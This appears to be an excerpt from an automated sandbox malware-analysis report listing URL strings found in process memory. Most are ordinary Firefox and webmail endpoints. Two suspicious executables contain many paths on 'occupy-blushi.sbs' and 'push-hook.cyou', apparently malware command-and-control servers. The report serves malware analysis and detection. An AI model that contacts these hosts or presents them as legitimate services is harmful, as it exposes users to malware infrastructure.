Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3689507199.000001FAC25D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.000001691839D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submittelemetry.structuredIngestion.endpointimprovesearch.top
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3655021318.000001FABA750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000002D.00000002.3671511864.000001FABBC96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3662838850.000001FABB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000002D.00000002.3662838850.000001FABB143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000002D.00000002.3666377402.000001FABB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBBDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD5BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3681573733.000001FABD5BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comresource://gre/modules/IndexedDB.sys.mjsbug-1703186-rollout-http3-s
Source: firefox.exe, 0000002D.00000002.3654405899.000001FABA665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3369538416.000001FAB69BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3646941029.000001FABA422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%ssetSlowScriptDebugHandler/debugService.activationH
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000002D.00000002.3654405899.000001FABA665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3651913103.000001FABA52E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000030.00000002.3301010972.0000016918386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000002E.00000002.3299762817.000001DBBC072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestabout
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/lib/DiscoveryStreamFeed
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000002D.00000002.3369538416.000001FAB69B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: 684030933f.exe, 0000001C.00000003.3096935696.0000000005593000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3094778352.000000000558C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3264536456.0000000005F83000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3258106728.0000000005F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: 684030933f.exe, 0000001C.00000003.3096935696.0000000005593000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3094778352.000000000558C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3276828671.0000000005F79000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3258106728.0000000005F71000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000002.3333638444.0000000005F7A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3275833955.0000000005F72000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3270985702.0000000005F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10lz
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: 000003.log.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: 684030933f.exe, 0000001C.00000003.3121936481.00000000055A2000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3196190516.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3150950211.00000000055A2000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3121777432.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3120796388.000000000558C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3150772889.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3126847933.00000000055A2000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252505365.0000000005F72000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3223693107.0000000001752000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000002.3301305599.000000000174C000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252233353.0000000005F71000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3250765134.0000000005F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/
Source: 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/2n
Source: 684030933f.exe, 0000001C.00000003.3092217351.0000000005589000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/6
Source: 684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/=
Source: 684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/D
Source: 684030933f.exe, 0000001C.00000003.3091830576.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3092176518.0000000005589000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/E
Source: 684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/N
Source: 684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/R
Source: 684030933f.exe, 0000001C.00000003.3120796388.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3120994390.000000000559E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/Z
Source: 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000002.3333638444.0000000005F7A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000002.3301305599.000000000174C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/api
Source: 684030933f.exe, 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apiD
Source: 684030933f.exe, 0000001C.00000003.3122869078.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3121936481.00000000055A2000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3120796388.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3121777432.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3122041619.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3120994390.000000000559E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apiI
Source: 684030933f.exe, 0000001C.00000002.3293092608.0000000000978000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3150253136.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apiJ
Source: 684030933f.exe, 0000001C.00000003.3216758006.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3215876227.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3261925862.000000000559E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apiL
Source: 684030933f.exe, 0000001F.00000002.3333638444.0000000005F7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apiMY
Source: 684030933f.exe, 0000001F.00000002.3301305599.000000000174C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apite
Source: 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/d
Source: 684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/r&
Source: 684030933f.exe, 0000001F.00000002.3301305599.000000000174C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/z
Source: 684030933f.exe, 0000001C.00000003.3122869078.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3121936481.00000000055A2000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3120796388.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3121777432.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3122041619.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3120994390.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs:443/api
Source: 684030933f.exe, 0000001C.00000003.3150253136.0000000005596000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs:443/apihttps://occupy-blushi.sbs/
Source: 684030933f.exe, 0000001F.00000002.3301305599.00000000016C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs:443/apitPK
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000002D.00000002.3654405899.000001FABA665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sMust
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000002D.00000002.3654405899.000001FABA665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3651913103.000001FABA52E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3238461924.000001FABA530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sVALIDATE_DONT_COLLAPSE_WHITESPACE
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comuseDistinctSystemPrincipalLoaderStarted
Source: vg9qcBa.exe, 00000019.00000003.2836000750.00000000032CF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836258932.00000000032D2000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837437687.00000000032D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/
Source: vg9qcBa.exe, 00000019.00000003.2836000750.00000000032CF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836258932.00000000032D2000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837437687.00000000032D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/Gjj
Source: vg9qcBa.exe, 00000019.00000003.2836000750.00000000032CF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836258932.00000000032D2000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837437687.00000000032D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/Njm
Source: vg9qcBa.exe, 00000019.00000002.2837437687.00000000032D3000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836285943.000000000327B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/api
Source: vg9qcBa.exe, 00000019.00000002.2837485153.00000000032E0000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2835963459.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836061069.00000000032DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/api66
Source: vg9qcBa.exe, 00000019.00000003.2836087062.0000000003279000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837208737.000000000327C000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836285943.000000000327B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/apiU2
Source: vg9qcBa.exe, 00000019.00000003.2836000750.00000000032CF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836258932.00000000032D2000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837437687.00000000032D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/kjN
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
